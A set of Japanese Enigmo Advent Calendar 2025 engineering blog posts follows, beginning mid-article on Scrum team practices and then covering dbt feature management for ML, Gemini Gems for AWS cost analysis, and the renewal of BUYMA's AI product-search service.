です。 「 アジャイル =考え方」だとすると、 スクラム はそれを実践するために、役割・イベント (会議) ・成果物をセットで定義し、チームが迷いにくい形にしたもの、と考えるとわかりやすいです。   スクラム の用語 スプリント: 固定期間 (一般に1〜4週間) で区切られた開発サイクル スプリントゴール: そのスプリントで達成したい目的 (「何のためにやるか」の軸) プランニング: 次のスプリントで「何をどれだけやるか」をチームで決める デイリー スクラム : スプリントゴールに向けて、進捗確認と調整を行う毎日の短い打ち合わせ スプリントレビュー: 出来上がった成果物を共有し、フィードバックをもらう場 レトロスペクティブ (ふりかえり) : やり方の カイゼン を話し合う場   重要: スクラム は 儀式 ではなく、 検証と カイゼン を回す仕組み   スクラム は「イベントをこなすこと」が目的ではありません。 短い周期で 検査 (Inspect) = いま正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必要ならやり方・優先順位・計画を変える、という検証と改善を回すための仕組みです。   つまり、 スクラム の各イベントは全て「Inspect / Adapt」のためにあります。 スプリントで区切ることも、スプリントレビューで見せることも、ふりかえりをすることも、全て価値や計画の ズレを小さくするため です。 4. 前職 スクラム の特徴 (メリット・デメリット) 6人チーム/分業なし + 依存が減って、詰まっても助け合いやすい (柔軟に回る） - 何でも屋になりやすく、社内での育成コストと属人化リスクが上がる 要件定義・見積もりが持ち回り プロダクト理解が深まり、当事者意識が育つ 得意不得意の差が出やすく、ブレや認識差が起きることも スプリント1週間/ふりかえり重視 カイゼン の回転が速く、失敗が小さく済む 追われやすく、レビュー品質が落ちると「忙しいだけ」になりがち 朝会夕会で進捗確認 見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 5. 現職 アジャイル の特徴 (メリット・デメリット) エンジニア4人＋周辺職種は別チームで参加 必要な専門性が適切なタイミングで入り、品質が上がりやすい 意思決定や仕様の往復が増えると、スピードが落ちることがある 半分業 (フロント/サーバ/インフラ)  専門性が積み上がり、品質とスピードを出しやすい ボトルネック が固定化すると、待ちが増えてリードタイムが伸びやすい 要件定義はCSが主導、デザイナーやエンジニアがブラッシュアップ 顧客の声が仕様の入口にあり、「作ったけど使われない」を減らしやすい 技術制約・実現方法の検討が遅れると、手戻りが増えることがある スプリントが長期間 機能にフォーカスしやすく、リリース目的がブレにくい フィードバックが遅れると、気づいた時にはズレが大きくなっている 毎日夕会/週1でふりかえり (乖離確認)  見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 6. スクラム の「ズレやすいポイント」あるある ここまで アジャイル / スクラム の概要と、前職・現職それぞれの特徴を書きました。 面白いのは、運用の形は違っていても、実際に現場でつまずきやすい「ズレやすいポイント」には共通点があったことです。 ここからは、 スクラム を回すときに起きがちな"あるある"を整理していきます。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りますが、実際には意外とズレがちです。 祝日やメンバーの休み、突発対応、大きなリリースが重なると、 「期間は決めているのに、結局終わらない」 という問題が発生します。 この状態が続くと、スプリントレビューやふりかえりのタイミングが曖昧になってしまいます。 2) どうしても納期が先に確定してしまう 色々な要因で、納期が先に決まること自体は珍しくないと思います。問題は、納期が固定なのにスコープも固定になっていることです。この場合、現場が デスマーチ になりやすいです。 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い 夕会などで進捗は把握できていても、スプリントレビューで"価値"を確かめられないと、やっていることはただの「 進捗管理 」になってしまいます。 その結果、予定通り作ったのに、想定していた価値が出ないというズレが発生しやすくなります。 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえり自体はやっていても、内容が「反省会」になってしまう。 ふりかえりの狙いは、誰かを責めることではなく、仕組みを少しずつ カイゼン することです。 5) 分業で詰まりが固定化する 分業は専門性を伸ばしやすい一方で、特定領域にタスクが集中すると、そこが ボトルネック になってしまいます。 スクラム では、個人の 稼働率 よりも、チームとしてのリードタイムが重要になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば？」具体的な カイゼン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カイゼン 案を紹介します。前職、現職で実際にチームで議論して試した工夫も、一部取り入れています。 スクラム の型に無理やり戻すことが目的ではありません。 Inspect / Adapt (検査と適応) がきちんと回る状態に近づけることが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの価値は"期限内に全部終える"ではなく、"短い周期での検証と カイゼン "にある 祝日が多い週は最初からタスク数を減らす (期間は固定)  どうしても溢れるなら、「終わらせる」ではなくスプリントを中止する 2) どうしても納期が先に確定してしまう 納期固定を成立させる条件は「変更できる何か (スコープ/品質/順序) 」があること Must/Should/Could で削れる部分を先に決めておく 「この日までにここまで」ではなく「この日までに価値が出る最小形」を合意する 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い フィードバックが薄いと、"作ったものが刺さらない"がよく起きる スプリントレビューは「説明」より「動くもの」を中心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち込むだけでもOK 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえりは反省会ではなく、 カイゼン のA/Bテストに近い 毎回、 カイゼン アクションは1つ程度に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カイゼン はやめる 見積もりが外れた原因は「前提が変わった」「分割が大きい」など仕組み側として考える 5) 分業で詰まりが固定化する 個人最適より、チームのリードタイム最適を狙う 着手しすぎをやめる 詰まりやすい領域は、スプリントレビュー待ちを減らすためにペア/モブを試す 8. 今後の展望 転職直後に「同じ アジャイル なのに、なんだか噛み合わない」と感じたのは、今思えば当然でした。 前職で体験していたのは、短いスプリントでレビューとふりかえりを回し続ける" スクラム 寄りの アジャイル "。一方で現職は、機能リリースを軸に、CSや周辺職種の知見も取り込みながら進める"プロダクト寄りの アジャイル "です。言葉は同じでも、狙っている最適解が少し違っていたんだと思います。   アジャイル や スクラム に"唯一の正解"はありません。会社のフェーズ、プロダクトの性質、チームの人数やスキルで、うまく回る形は変わります。大事なのは「どの型が正しいか」を決めることではなく、いまの自分たちにとって必要な カイゼン を見つけて、小さく試して、調整し続けること。そのプロセス自体が、 アジャイル の面白さだと感じています。   今後も現職の強み (専門性・顧客起点・リリース志向) を活かしながら、ズレが大きくなるポイントを修正していきます。   明日の記事担当は BUYMA のWebエンジニア レミー さんです。お楽しみに。

こんにちは、AI テクノロ ジー グループ データサイエンティストの髙橋です。業務では企画/分析/ 機械学習 モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。この記事は Enigmo Advent Calendar 2025 の 19 日目の記事です。 本記事では、 dbt を利用した 機械学習 モデルの特徴量管理について紹介します。この特徴量管理を活用することで、 機械学習 を利用したプロジェクトで多くの実験を効率的に実施でき、利益増加というビジネス成果に繋げることができました。 www.getdbt.com 特徴量管理の目的・成果 数多くの特徴量を試す上での課題 dbt による課題解決 dbt による特徴量管理時の工夫 まとめ ※文中に記載する ディレクト リやファイル名、 SQL コード、コマンドなどは全てイメージです。 特徴量管理の目的・成果 dbt を利用した特徴量管理を導入した目的は、ある 機械学習 プロジェクトにて効率的に数多くの特徴量を試す必要があったためです。まず、そのプロジェクトと得られた成果について説明します。 弊社が運営している CtoC ECサービス BUYMA では、MA (Marketing Automation) ツールを通じてクーポンなどの インセンティブ をメールで配布しています。これまで、様々な会員セグメントを定義し、各セグメントに対しての インセンティブ 配布ルールの運用を行っており、そのルールのチューニングで改善を図っていました。このアプローチではルールをもとに一律配布しているため、 機械学習 による最適化余地があると考えました。具体的には、 インセンティブ がなくても購入する会員にもコストをかけてしまったり、 インセンティブ があれば購入する会員に配布できていなかったりなどの最適化の余地があるのではないかと考えました。そこで、 機械学習 を活用してデータに基づくより効果的な インセンティブ 配布を実現することを目指しました。 BUYMA はリリースから 20年を超えるサービスであり、様々な MA シナリオ（会員セグメントと配布ルールの組み合わせを以降 MA シナリオと呼びます）が運用されています。出来るだけ多くの MA シナリオに対して 機械学習 による最適化を適用したく、そのためには様々な特徴量を効率良く試せるようにすべきと考えました。 そこで、今回紹介する dbt を利用した特徴量管理を導入しました。その結果、約1年間でおよそ8個の MA シナリオに 機械学習 による配布最適化を試すことができ、シナリオによってばらつきはあるものの約20%の利益増加が実現できました。 数多くの特徴量を試す上での課題 まず前提として、特徴量は BigQuery で作成する方針としました。理由は、既に BUYMA のデータは BigQuery に保存されていたことと、 Python 実行環境(ノートブックなど)への特徴量作成のもとになる行動データのダウンロードに非常に時間がかかったためです。時間がかかる理由は、 BUYMA は会員数・商品数が非常に多く、それに伴いユーザーの行動ログのデータ量も非常に多いためです。具体的には、会員数1185万人、商品数590万品であり *1 、利用する行動ログのレコード数は数千万件になることもあります。 この前提のもと、BigQuery で数多くの特徴量を効率的に試すには以下の課題がありました。 特徴量の数が多くなると SQL が肥大化して可読性が低下する。 例えば、弊社で過去別の機能で作成した特徴量 SQL ファイルは2000行を超えており読むのが大変でした。 特徴量作成のロジックが複雑になると可読性が低下する 例えば、過去 n 日間の閲覧数という特徴量を複数 n に対して記述すると、 SQL が長くなり可読性が低下します。 別の実験で特徴量を再利用しづらい 再利用する場合は、その特徴量部分を毎回コピペする必要があるためです。 dbt による課題解決 そこで、 dbt を利用して特徴量管理を行うことで、これら課題の解決を図りました まず、 dbt について簡単に説明します。ただし、dbt は多くの機能があるため今回の課題解決に関連する機能に絞って説明します。全体を詳しく知りたい方は 公式ドキュメント を参照ください。 今回役立ったのは以下の機能です。 SQL ファイルの分割 for などのロジックの記述 SQL ファイルの分割について、dbt を利用することで CTE (Common Table Expression) を別のファイルに分けることができます。例として、以下のような CTE を使った SQL を考えます。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利用することでこの SQL を2つのファイルに分けることができます。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照することを意味します。 dbt run コマンドを実行すると、 user.sql 、 main.sql のテーブルビューが作成されます。この機能を利用することで、特徴量作成などの SQL を分割して可読性を向上させることが出来ます。具体的には、以下のように SQL ファイルを分割しました。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデータ取得のための SQL を配置する ディレクト リです。 *2 各 datasets ファイルの中身は以下のようにしました。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利用できる変数です。 *3 様々な会員セグメントについて実験するために、セグメントごとの会員 ID を別テーブルにあらかじめ保存しておき、変数として切り替えられるようにしました。 features ディレクト リ配下のファイルは意味がある粒度で特徴量を分けて再利用しやすくしました。また、 機械学習 の目的変数である label も複数パターン試せるようにしました。 こうしたことで、実験が進むごとに特徴量が増加しても、 SQL が肥大化して読みにくくなることを防げました。具体的には、1つの SQL ファイルあたり長くとも約100行におさまるようになりました。また、 dataset.sql を見ればどのような特徴量が利用されているかが一目で分かるようになりました。 for などのロジックの記述について、dbt では Jinja というテンプレートエンジン の記法で for などのロジックを記述することができます。これを利用して、例えば過去 1、3、7日間の閲覧、お気に入り回数の集計は以下のように記述できます。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テーブルに特徴量作成の基準日から何日前のログかを示す day_from_base_date カラムが存在すると仮定しています。これを通常の SQL で記述すると以下のようになります。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比較してみると、 dbt を利用することで SQL が短くなり、かつ変数を定義できるためどの行動を過去何日分集計するかが一目で分かるようになりました。これにより特徴量が複雑になっても可読性が低下することを防げました。また、集計する日数や行動が増えたとしても、変数のリストに要素を追加するだけで対応できるようになりました。 dbt による特徴量管理時の工夫 より多くの特徴量を素早く試せるように行った工夫があるため、それらも紹介します。ここでは2つ紹介します。 1つ目はデー タセット 管理表を用意し、実験で利用するデー タセット ごとに ID を採番し、 dataset_001 、 dataset_002 のようにファイルを作成していく方針としたことです。 デー タセット 管理表のイメージ： デー タセット ID デー タセット 説明 1 セグメント1に対して特徴量 A を利用したデー タセット 2 セグメント2に対して特徴量 A, B を利用したデー タセット 作成したファイルのイメージ： models └── datasets ├── dataset_001.sql └── dataset_002.sql こうすることで、新しいデー タセット を簡単に追加できるようにし、かつ過去のデー タセット も参照しやすくしました。実際に2025年12月時点ではデー タセット ID は 100 を超えていますが、問題なく運用出来ています。 2つ目は dbt で作成したテーブルのビューから Python 実行環境でデータを取得する際は、以下のような SQL で一度 GCS にエクスポートしてダウンロードするようにしたことです。これは、 Python で BigQuery SDK を利用してデータ取得するとレコード数が多い場合非常に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文において _table_suffix を含んでいるとエラーが発生するため -- CREATE TEMP TABLE 構文を利用。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、エクスポートするデー タセット ID を dbt 変数としており、これによりデー タセット によってエクスポート先を変更できるようにしました。また、この SQL はテーブルビューを作成する必要がないため、 analyses ディレクト リに配置して、以下のコマンドで コンパイル して実行するようにしました。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 記法などを解決して実行可能な SQL に コンパイル するコマンドであり、 コンパイル されたファイルは target/compiled 配下に保存されます。また、 dbt の analyses ディレクト リとは models ディレクト リとは異なり一時的な分析用 SQL などを配置するのに適したものになります。 *4 まとめ 本記事では、dbt を利用した特徴量管理について紹介しました。 SQL の肥大化や特徴量の再利用しづらさという課題を、 SQL ファイルの分割や for などのロジック記述により解決しました。また、デー タセット 管理の方法や Python 実行環境でのデータ取得の高速化というより効率的に多くの特徴量を試す方法も紹介しました。これにより、複数の MA シナリオに対して 機械学習 を利用した インセンティブ 配布最適化を試すことができ、利益増加という成果に繋げることが出来ました。 本記事が特徴量管理の参考になれば幸いです。 明日の記事は BUYMA TRAVEL のエンジニアの 赤間 さんです。お楽しみに！ 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 2025年10月末時点の数値です。 https://enigmo.co.jp/ir/ *2 : dbt models について詳細は dbt 公式ドキュメント を参照ください。 *3 : dbt の変数について詳細は dbt 公式ドキュメント を参照ください。 *4 : dbt analyses について詳細は dbt 公式ドキュメント を参照ください。

こんにちは、インフラエンジニアの森田です。 この記事は Enigmo Advent Calendar 2025 の 14日目の記事です。 今回は、業務効率化のために Google Geminiのカスタム指示（Gems）を作成し、 実際の業務で使ってみた使用感や気づきについて紹介します。 どのような業務に活用したか 私は直近で AWS のコスト削減に取り組んでいます。 特にSavings Plansなどを購入する際、 複数アカウント のオンデマンドコストと推奨コミット額を見比べ、 その購入計画が適切かを整理する必要がありました。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「辛い」作業でした。 そこで、Savings Plans推奨事項の CSV ファイルと、 Cost Explorer から CLI で取得した JSON ファイルを読み込ませることで、 コミット額の適切性検証とコストメリットの整理を行ってくれるGemsを作成しました。 結果として、 非常に良好な感触 を得られました。 やはり、複雑な数値の突き合わせや計算は計算機（AI）に任せるのが一番です。 本記事では、実際にツールを作ってみて「気をつけると良い点」と、 組織で運用する上で「課題だと感じた点」を共有します。 カスタム指示（Gems）作成のポイント コスト削減アシスタントGemsを作成する過程で、特に重要だと感じたポイントは以下の3点です。 1. 具体的な使い方の説明（ガイド）を含める スクリプト と異なり、対話形式で進むため、 初見のユーザーでも迷わないよう「利用手順」を指示に含めておくと親切です。 今回はデータを読み込ませて分析するツールなので、 以下のようにデータの取得手順を案内させるようにしました。 ## 0. ユーザーサポート / 使い方ガイド ユーザーから「使い方を教えて」「何が必要？」と問われた場合、または挨拶のみでデータが未提供の場合は、以下の3ステップのデータ取得手順を案内してください。 ### 手順1: 推奨事項CSVのダウンロード (AWS Console) <取得手順を記載> ### 手順2: 直近のオンデマンド料金取得 (AWS CLI) <取得手順を記載> ### 手順3: データの取得 <取得手順を記載> 2. 入出力のイメージを厳密に定義する 曖昧な指示だと、実行のたびにAIの解釈が変わり、 出力フォーマットがブレて使いづらくなります。 AIに勝手な解釈をさせないよう、入力データの処理ルールと出力形式を 以下のように固定することをお勧めします。 入力ルールの例: ## 2. 入力データの処理ルール 以下のデータがテキストまたはファイルとして与えられます。 1. **推奨事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカウントID」「推奨コミットメント額($/h)」「推定削減率」を抽出します。 2. **実績コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安全性判定:** ` 推奨コミットメント額($/h) × 24h ` が ` 日次実績コスト(過去30日間の最小値) ` を下回っているか確認してください。実績を下回っていれば「安全（使い切れる）」、上回っていれば「注意（使い切れないリスクあり）」と判定します。 （略） 出力ルールの例: 必ず以下の **【出力1】** 〜 **【出力3】** の形式で出力してください。 ----- ### 【出力1】 <出力1の構造を指示する> （略） 3. 複雑なファイルは「キャプチャ画像」で読ませる 複雑なレイアウトの Excel やPDFファイルは、 テキスト抽出時に構造が崩れ、正しく解析できない場合があります。 そのような場合、 対象箇所のキャプチャ画像を撮って画像を読ませる 方が、 精度が高くなるケースがありました。 テキストでの読み込みで精度が出ない場合は、「画像を読ませる」という選択肢を 頭の片隅に置いておくと良いでしょう。 管理・運用上の懸念点 個人のツールとしては優秀なGemsですが、これを「会社の資産」として管理しようとした際、 いくつか課題も見えてきました。 変更履歴が見えない 作り込んだカスタム指示は長文になりがちですが、現状のGemsには変更履歴（Diff）を見る機能がありません。 「誰が・いつ・なぜ変更したか」が追えないため、チーム開発には不向きです。 GCP のVertex AI AgentsであればTerraform等で管理可能ですが、 Gemini（Gems）単体では難しいため、現状は 「プロンプトの内容をテキストファイルとしてGitで管理し、変更時はGitを通してから手動でGemsを更新する」 という運用が現実解になりそうです。 スマートではありませんが、資産管理としては必要です。 作成者のアカウント削除でGemsも消える Gemsの実体は、作成者の「マイドライブ/Gemini Gems/」配下に保存されるファイルとして扱われるようです。 そのため、作成者が退職等でアカウント削除されると、 マイドライブ内のデータと共にGemsも消失してしまいます。 これを回避するために共有ドライブへの集約を試みましたが、 共有ドライブ上のGemsファイルを開こうとするとエラーが発生しました（下図参照）。 現状では、誰か個人のマイドライブに配置されている必要がありそうです。 共有ドライブ上のGemsを開いた際のエラー モデル更新による挙動の変化（AIドリフト） これはLLMを利用する全般的なリスクですが、バックエンドのモデルが更新された際、 以前と同じプロンプトでも挙動が変わる可能性があります。 ChatGPTのCustom GPTsのようにモデルバージョンを固定する機能は、現状のGemsには見当たりません。 影響を最小限にするためには、前述の通り「入出力を厳密に定義」してAIの解釈の幅を狭めておくことが重要です。 また、モデル更新のアナウンスがあった際は、簡単な動作確認フローを設けるのが良いでしょう。 まとめ スプレッドシート でオンデマンドコストとコミットコストを整理して購入計画を立てていたときは2,3日かかっていたところ、 業務特化型のGemsを作成することで、正味1時間あれば整理が完了するようになり大幅に効率化することができました。 一方で、チームや組織で永続的に管理・運用していくには、 バージョン管理やオーナー権限の面でまだ工夫が必要だと感じています。 今後、 Google Workspaceの機能アップデートにより、 これらの管理機能が強化されることを期待しつつ、 まずはGit管理などの運用ルールでカバーしながら活用していきたいと思います。

こんにちは、AIテクノロ ジー グループのエンジニアの吉田です。 本記事は Enigmo Advent Calendar 2025 の 18日目の記事です。 普段は検索システム全般、 機械学習 システムのMLOps、AI関連の機能開発を担当しております。 この記事では「AIでさがす」サービスのリニューアルについて紹介します。 「AIでさがす」サービスとは 「AIでさがす」サービスは、 BUYMA のWebサイトおよびアプリで提供している、AIを活用した商品提案サービスです。 実際の機能は以下からご利用頂けます。（ BUYMA アカウントでのログインが必要となります。） 「AIでさがす」サービス ユーザーが文章で質問すると、AIが質問内容を理解し、おすすめの商品を提案します。例えば「春のデートにぴったりなワンピースを教えて」といった質問に対して、AIが回答文とともに具体的な商品を紹介します。 従来のキーワード検索では見つけにくかった商品や、ユーザー自身が気づいていなかった新しい商品との出会いを提供することで、 BUYMA でのショッピング体験をより豊かにすることを目指しています。 ※商品画像はモザイク加工しております。 リニューアルの背景 旧システムは、ChatGPT API を活用した商品提案サービスでしたが、主な課題が3点ありました。 BUYMA の知識不足 ChatGPT が一般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の不明確さ ChatGPT の回答に 参照元 がない。 検索キーワード生成の精度 形態素解析 ツールの MeCab を併用していましたが、文脈や意味を理解した検索キーワード生成ができない。 また、リリースから2年が経過し、本格的にバージョンアップが必要なタイミングでもありました。 ※旧システムの詳細は こちらの記事 で紹介しております。 ちょうどチームメンバーが社内ドキュメントのAI検索システムを開発しており、この仕組みを BUYMA の多数の記事コンテンツに適用すれば、より BUYMA らしい商品提案が可能になると考えました。 そこで、今回のリニューアルでは、 BUYMA 内の記事コンテンツ群をベースに会話するエージェントを作成しました。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりました。 システム変更前後の比較 旧システムと新システムの違いは以下の通りです。 旧システムでは、ChatGPT が一般的な知識で回答を生成し、 MeCab による単純な 形態素解析 で検索キーワードを生成していました。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内記事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した検索キーワードを生成します。その結果、より BUYMA らしい商品提案が可能になりました。 それぞれの処理フローは以下の通りです。 旧システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を ChatGPT API に送信 ChatGPT が回答文とおすすめアイテムリストを生成 アイテム名を MeCab （ 形態素解析 ）で解析し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 新システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を Vertex AI Search に送信 Vertex AI Search （事前に BUYMA 内記事コンテンツをインポート済み）が回答文を生成 質問文と回答文を Gemini に送信し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 アーキテクチャ ー特徴 1. Vertex AI Search Vertex AI Search を利用して、インポートした BUYMA 内記事コンテンツをベースに会話を行うエージェントを構築しました。 BUYMA 内記事コンテンツのインポート 約4000件の記事をデータストアにインポート プロンプト設計 「ファッション ECサイト BUYMA のショッピングアドバイザー」として定義し、ユーザーの質問に対して最適な商品を提案する形で回答を生成 2. Gemini Gemini を活用する事により、会話内容から商品検索キーワードを生成する機能を作成しました。 プロンプト設計 「 ECサイト の検索キーワードを生成する専門家」として定義し、会話の文脈を理解して検索キーワードを生成 MeCab との違い MeCab は単語の分解のみだが、Gemini は文脈を理解してブランド名・カテゴリ名・モデル名を組み合わせた検索キーワードを生成 実装時の課題・解決策・工夫した点 Vertex AI Search の幻覚への対応 初回質問時に Vertex AI Search が過去から質問が続いているような幻覚を見る場合がありました。当初は初回と2回目以降の会話を共通のプロンプトで行っており、「ユーザーの過去の質問履歴」の項目に入っている文言の有無から初回なのか、２回目以降の会話なのかを判断する指示を出していました。ところが、「過去」という文言に引きずられてなのか、初回なのに過去の質問をAI側が捏造して、その続きとして回答する場合が稀にありました。 プロンプトテンプレートを初回用と2回目以降用の2種類に分け、初回用のプロンプトからは「ユーザーの過去の質問履歴」の文言自体を削除する事によって対応しました。 敵対的クエリへの対応 敵対的クエリ（不適切な質問）の場合、Vertex AI Search の API からのレスポンスフォーマットが通常とは異なるものになり、要約が生成できないにもかかわらず、無理やり商品紹介を行ってしまいました。 敵対的クエリーのフォーマットを検知した場合は、要約失敗として扱い、商品紹介を行わないように修正しました。 この場合以外でも稀に異なるフォーマットのレスポンスになる場合があり、サービス継続に支障が出ないように都度改善を行いました。 Gemini のライブラリ移行 もともと使用していたライブラリがサポート終了を迎えるため、社内では実績がない新しいライブラリに移行する必要がありました。移行後、従来使用していた Gemini モデルが初期設定では使用できず、次世代のモデルを試したところレスポンスタイムが大幅に遅くなってしまいました。新しいライブラリという事もあり、AIツールではなかなか解決できず、最終的には Google サポートに問い合わせして解決に至りました。 得られた学びとノウハウ AIツールの活用と限界 「AIでさがす」のバックエンド API の リポジトリ は、ほぼ全部作り直したのですが、AIツールを活用する事によって、 工数 を節約する事ができました。Terraform 関連のリソース修正、テストケース作成やMOCK用のフロントエンド実装等においてもAIツールにより大幅な 工数 削減ができました。 一方で、Gemini のライブラリ移行など、ドキュメントの記載やインターネット上での知見が少ない領域ではAIツールでは解決できず、結果的に公式サポートへの問い合わせが必要でした。 AIの不確定な挙動への対応 Vertex AI Search の幻覚や部分的な失敗など、AIサービス特有の不確実性に対して、初回用と2回目以降用でテンプレートを分けるなど、細かな調整が重要でした。また、プロンプトだけではどうする事もできない場合があり、そのような場合は後処理でルールベースのロジックを追加する必要がありました。 効果測定 リニューアル後、以下のような指標が上昇しました。 1スレッドあたりの質問数の平均 会話の継続性が向上し、ユーザーが複数回質問を続けるようになりました。 1ユーザー1日あたりの質問数 利用頻度が向上し、ユーザーがより積極的に機能を活用するようになりました。 検索URLに遷移された回数 商品検索への誘導効果が向上し、実際の商品閲覧につながるケースが増加しました。 これらの結果から、 BUYMA 内記事コンテンツを根拠とした回答の提供と、文脈を理解した検索キーワード生成により、ユーザーの満足度と利用価値が向上したと考えられます。 直近の対応/今後の展開・課題 金額絞り込み機能の追加（今月対応） ユーザーからの要望が多い金額絞り込み機能の対応をしました。価格帯に関する質問に対して適切な商品提案ができていない課題があったため、Gemini で検索 API 用の金額フィルタークエリを生成することで対応しました。 コンテンツの拡充 現在は BUYMA 内記事コンテンツのみを Vertex AI Search にインポートしていますが、今後は YouTube での発信内容も追加する予定です。記事以外のコンテンツも活用することで、より幅広い情報をユーザーに提供できるようになります。 継続的なメンテナンス AIのライブラリやモデルは随時更新されていくため、継続的なメンテナンスが課題となります。特に Gemini や Vertex AI Search などのサービスは進化が早く、新しいモデルへの対応や非推奨ライブラリ／バージョンから移行など、定期的な見直しが必要です。 まとめ 本記事では、「AIでさがす」サービスのリニューアルについて紹介しました。 旧システムでは ChatGPT と MeCab を使用していましたが、 BUYMA 特有の知識不足や根拠の不明確さなどの課題がありました。リニューアルでは Vertex AI Search と Gemini を採用し、 BUYMA 内記事コンテンツを根拠とした回答生成と文脈を理解した検索キーワード生成を実現しました。 実装時には敵対的クエリへの対応やAIサービス特有の不確実性への対処など様々な課題に直面しましたが、ロジックでの細かい制御やAIツールの活用により解決できました。リニューアル後は会話継続性や利用頻度、商品検索への誘導効果が明らかに向上しています。 明日の記事は同じAIテクノロ ジー グループの髙橋さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co